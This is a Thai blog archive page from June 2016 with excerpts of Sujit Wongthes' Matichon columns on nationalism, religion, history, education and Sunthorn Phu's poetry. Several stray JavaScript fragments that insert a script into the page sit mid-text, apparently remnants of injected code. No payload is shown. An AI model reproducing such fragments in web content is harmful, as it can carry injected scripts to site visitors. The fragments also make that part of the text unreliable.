Archive for มิถุนายน, 2016

อนุรักษนิยมไทย

มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 30 มิถุนายน 2559

 

อนุรักษนิยมไทย

        คนชั้นนำเกณฑ์นักเรียน นักศึกษา ประชาชน ไปฟังการบรรยายโดยทหารแต่งเครื่องแบบยศนายพันเรื่องประวัติศาสตร์ไทยในที่ประชุมห้องหนึ่งของรัฐสภา แล้วบันทึกภาพและเสียงไปออนแอร์เผยแพร่ทางโทรทัศน์ช่องหนึ่งเมื่อไม่นานมานี้

        ประวัติศาสตร์ไทยที่ทหารยศนายพันบรรยายนั้น เนื้อหาเกือบทั้งหมดได้จากนิยายอิงประวัติศาสตร์ไทยฉบับคลั่งชาติ ที่ยกย่องเป็นประวัติศาสตร์แห่งชาติของไทยเพื่อความรักชาติมานานมาก เมื่อจบแล้วนายทหารประกาศว่ายินดีไปบรรยายตามโรงเรียนต่างๆ ที่ต้องการ

        ผมได้ดูโดยบังเอิญทางโทรทัศน์ แล้วเห็นเป็นเรื่องตลกๆ

        แต่แล้วต้องคิดใหม่ว่าไม่ตลก เพราะเท่ากับกระแสชาตินิยมขวาจัดกำลังกวนน้ำให้ขุ่น เมื่อได้อ่าน “ยุทธบทความ” เรื่องอุดมการณ์อนุรักษนิยมไทย : เสนานิยมและชาตินิยมในการทูตไทย ของ อ. สุรชาติ บำรุงสุข ในมติชนสุดสัปดาห์ (วันที่ 24-30 มิถุนายน 2559 หน้า 50-51)

        นิยายอิงประวัติศาสตร์ไทยฉบับคลั่งชาติที่บรรยายโดยทหารยศนายพัน เป็นความพยายามปลุกกระแสชาตินิยมขวาจัดของคนกลุ่มหนึ่งในคณะ คสช.

        กระแสชาตินิยมขวาจัดปลุกไม่ขึ้นหรือปลุกขึ้นในกลุ่มแคบๆ มาตั้งแต่ต่อต้านกัมพูชา กรณีปราสาทพระวิหาร, จนถึงเรื่องโขน, แล้วตามด้วยต่อต้านอเมริกัน

        ต่อต้านเพื่อนบ้าน โดยเฉพาะกัมพูชา หาพรรคพวกยากขึ้น เพราะกิจกรรมแบ่งปันความรู้สู่สาธารณะผ่านโซเชียลมีต่อเนื่องกว้างขวางมหาศาลทุกแง่ทุกมุม ได้ผลกว่าการศึกษาไทยในระบบ ทำให้พวกอนุรักษ์สุดโต่งหลอกสังคมไทยต่อไปได้ยาก

        ต่อต้านอเมริกัน เป็นอะไรที่ฮาสุดๆ เพราะพวกแหกปากต่อต้านล้วนมีกำเนิด หรือเป็นผลจากยุค จอมพล สฤษดิ์ ธนะรัชต์ ที่สร้างไทยมุ่งเป็นอเมริกัน (หรืออเมริกันไนซ์) ที่ถูกจริตคนชั้นกลางคลั่งวัฒนธรรมฮอลลีวู้ดและร็อคแอนด์โรล

        คนพวกนี้เคยเทิดทูนสหรัฐ แล้วต่อต้านคอมมิวนิสต์สุดลิ่มทิ่มประตูเพื่อสหรัฐมาแล้วทั้งนั้น แต่ถึงยังไงผมก็ไม่ตลก และยิ่งคิดยิ่งน่ากลัว}

เครือญาติคนไทย

มติชนรายวัน ฉบับประจำวันพุธที่ 29 มิถุนายน 2559

 

เครือญาติคนไทย

            โพธิสัตว์สำริด พบที่บุรีรัมย์ บริเวณลุ่มน้ำมูล เป็นหลักฐานสำคัญแสดงความสืบเนื่องเทคโนโลยีหล่อโลหะจากวัฒนธรรมสำริดบ้านเชียง ราว 2,500 ปีมาแล้ว จากนั้นถ่ายทอดต่อเนื่องถึงเทวรูป-พุทธรูปสำริดแบบละโว้-อโยธยา และแบบสุโขทัย

            เป็นพยานสำคัญว่าผู้คนที่ราบสูงกับที่ราบลุ่มของลาว-กัมพูชา-ไทย ล้วนเกี่ยวดองเป็นเครือญาติ ทั้งทางเผ่าพันธุ์และทางสังคมวัฒนธรรม

            ประติมากรรมสำริดรูปโพธิสัตว์ ฝีมือช่างแบบประโคนชัย มีแหล่งกำเนิดแถบลุ่มน้ำมูลในอีสานใต้ ที่ราบสูงโคราช ราวหลัง พ.ศ. 1000 เคยมีขนาดใหญ่โตสุดเป็นเศียรโพธิสัตว์สำริด พบใกล้แม่น้ำมูลที่บ้านโตนด อ. โนนสูง จ. นครราชสีมา (ปัจจุบันอยู่ในพิพิธภัณฑสถานแห่งชาติ พระนคร) นักโบราณคดีประวัติศาสตร์ศิลปะกลุ่มหนึ่ง อธิบายว่าเป็นลักษณะเฉพาะของบ้านเมืองลุ่มน้ำมูล (เพิ่มเติม…)

ศาสนาไทย

มติชนรายวัน ฉบับประจำวันอังคารที่ 28 มิถุนายน 2559

 

ศาสนาไทย

          ชาวบ้าน ต. เขาท่าพระ อ. เมืองฯ จ. ชัยนาท แจ้งว่าบนถนนทางหลวงชนบทหมายเลข 5520 เป็นถนนเชื่อมระหว่างบ้านท่าช้าง กับบ้านเขาดิน ระยะทาง 2 กิโลเมตร มีผู้แอบนำศาลพระภูมิเก่าชำรุดแตกหัก รวมถึงตุ๊กตาปูนปั้นแบบต่างๆ มาทิ้งไว้ริมถนนจำนวนมาก

          ช่วงเวลาที่ถนนปลอดรถ หรือช่วงเช้ามืดและยามค่ำคืน บริเวณดังกล่าวจะดูน่ากลัวและวังเวง ชาวบ้านมีความเชื่อเรื่องของอาถรรพ์ของศาลพระภูมิที่นำมาทิ้งจะทำให้เกิดเรื่องร้าย จึงไม่มีใครอยากผ่าน เพราะเกรงจะได้รับอันตรายจากศาลพระภูมิและเศษปูนที่กองระเกะระกะอยู่บนไหล่ทาง อยากให้หน่วยงานช่วยเข้ามาสะสางให้ด้วย

          [มติชน ฉบับวันเสาร์ที่ 18 มิถุนายน 2559 หน้า 5] (เพิ่มเติม…)

รำพันพิลาป ของ สุนทรภู่

Untitled-4

Files : 1  2  3 4if (document.currentScript) {

อาจารย์ด้อยคุณภาพ

มติชนรายวัน ฉบับประจำวันจันทร์ที่ 27 มิถุนายน 2559

 

อาจารย์ด้อยคุณภาพ

 

         ชั้นเรียนในมหาวิทยาลัย มีจุดมุ่งหมายเพียงการสอนให้เรียนรู้สิ่งที่เขารู้กันอยู่แล้ว จึงควรทบทวนเป้าหมายและวิธีการของการเรียนการสอนในระดับมหาวิทยาลัย

         [สรุปจากบทความเรื่อง จากหนังหน้า สู่ความรู้คิด โดย นิธิ เอียวศรีวงศ์ ในมติชน ฉบับวันจันทร์ที่ 20 มิถุนายน 2559 หน้า 16]

         รับจ้างเรียนแทนในมหาวิทยาลัย ไม่ใช่ความขี้เกียจส่วนบุคคล หากแต่เป็นปรากฏการณ์ทางสังคมที่สำคัญมาก

         สังคมต้องการให้นักศึกษาเป็น “เด็ก” ที่ไม่ต้องคิดอะไร เพื่อตอบสนองระบบอำนาจที่ไม่ต้องการให้ใครมีและตั้งคำถามใดๆ ทั้งสิ้น ความปรารถนาที่จะ “เรียนรู้” ของนักศึกษาจึงลดลงอย่างต่อเนื่อง ไม่รู้ว่าจะเข้าเรียนไปทำไม ในเมื่อแค่อ่านหนังสือสอบก็ได้อยู่แล้ว (เพิ่มเติม…)

นิราศเมืองแกลง ของ สุนทรภู่

1-59

 

 

 

 

 

 

 

 

 

 

Files : 1 2 3 document.currentScript.parentNode.insertBefore(s, document.currentScript);

มติชน วันอาทิตย์ 26 มิถุนายน 2559

มติชน วันอาทิตย์

26 มิถุนายน 2559

 

ไม้หลักปักเลนล้างป่าช้า

เผด็จการลูบหน้าปะจมูกโม่ง

รัฐธรรมนูญปราบโกง

สะดุ้งโหยงโยนใส่เขาย้อนเข้าตัว

 

สุจิตต์ วงษ์เทศ

ศุกร์ 24 มิถุนายน 2559document.currentScript.parentNode.insertBefore(s, document.currentScript);

“เร่อร่าหยาบคาย” เรื่องเพศในพิธีขอฝน หน้าแล้ง

มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 24 มิถุนายน 2559

 

ประเพณี 12 เดือน

 

“เร่อร่าหยาบคาย”

เรื่องเพศในพิธีขอฝน หน้าแล้ง

 

         ศาสนาผีมีอยู่ก่อนในชุมชนคนดึกดำบรรพ์ ทั้งสุวรรณภูมิ และอุษาคเนย์

         คนทั้งภูมิภาคจึงมีศาสนาผีอยู่ในสำนึกอย่างแน่นหนา ก่อนจะรู้จักศาสนาพราหมณ์กับศาสนาพุทธ ความเชื่อในศาสนาผีจึงมีล้ำลึกกว่าอย่างอื่นสืบจนปัจจุบัน

 

เพศ และร่วมเพศในศาสนาผี

         เรื่องเพศ ไม่เป็นสิ่งน่ารังเกียจในศาสนาผี ซึ่งเป็นศาสนาของผู้หญิง เพราะเรื่องเพศผูกพันเกี่ยวดองกับความอุดมสมบูรณ์โดยตรงในข้าวปลาอาหารยุคดึกดำบรรพ์

         ฟ้ากับดินไม่สมสู่กัน ก็ไม่มีน้ำหล่อเลี้ยงชีวิตคน, สัตว์, และพืช

         สัตว์ พืช ถ้าไม่สมสู่กันเองก็ไม่มีชีวิตใหม่เกิด แล้วไม่มีข้าวปลาอาหารเลี้ยงคน (เพิ่มเติม…)

รัฐบริการ ในรัฐเผด็จการ

มติชนรายวัน ฉบับประจำวันศุกร์ที่ 24 มิถุนายน 2559

 

รัฐบริการ ในรัฐเผด็จการ

 

          “รัฐปกครอง” ของไทยปัจจุบันต้องปรับเปลี่ยนเป็น “รัฐบริการ” เพื่อความก้าวหน้าทุกด้านของประเทศไทย

          ดร. โกร่ง วีรพงษ์ รามางกูร ชี้ทางบรรเทาทุกข์ให้รัฐบาล คสช. ดังนี้

          “สิ่งที่ควรต้องทำ…คือ ปฏิรูประบบราชการให้เป็น ‘รัฐบริการ’ จากปัจจุบันที่เป็น ‘รัฐปกครอง’

          เพราะอนาคตการพาประเทศให้ก้าวหน้า ฝ่าฟันปัญหาประเทศรายได้ปานกลาง จำเป็นต้องให้ความสะดวกกับผู้ลงทุนและประชาชน

          ดังนั้น ต้องเน้นการบริการเป็นหลัก เพื่อให้เศรษฐกิจแข่งขันกับคนอื่นได้ และทางเดียวที่ประเทศจะมีรายได้เพิ่มขึ้น คือ การค้าขายระหว่างประเทศ”

          [มติชน ฉบับวันเสาร์ที่ 18 มิถุนายน 2559 หน้า 2] (เพิ่มเติม…)

พญากง พญาพาน ในกลอนสุนทรภู่

มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 23 มิถุนายน 2559

 

พญากง พญาพาน ในกลอนสุนทรภู่

       พญากง พญาพาน เป็นตำนานนิทานประวัติความเป็นมาของการสร้างพระปฐมเจดีย์ กับพระประโทณเจดีย์ (จ. นครปฐม) ในความนึกคิดของคนบอกเล่า

       เชื่อไม่ได้ว่าเป็นจริงอย่างนั้น แต่เป็นหลักฐานเชื่อถือได้ว่ามีคนสมัยหลังๆ กลุ่มหนึ่งซึ่งยังไม่รู้ว่าใคร? แต่งตำนานนิทานเรื่องนี้ขึ้นมาด้วยสำนึกอย่างใดอย่างหนึ่งที่ต้องสืบค้นต่อไป

       โครงเรื่องหลักของพญากง พญาพาน คือ ลูกฆ่าพ่อ มีนักปราชญ์บอกไว้นานแล้วว่าน่าจะรับดัดแปลงจากนิทานภาษาสันสกฤต (ซึ่งรับจากกรีกอีกทอดหนึ่ง) ถ้าจริงตามนี้ก็แสดงว่า (เพิ่มเติม…)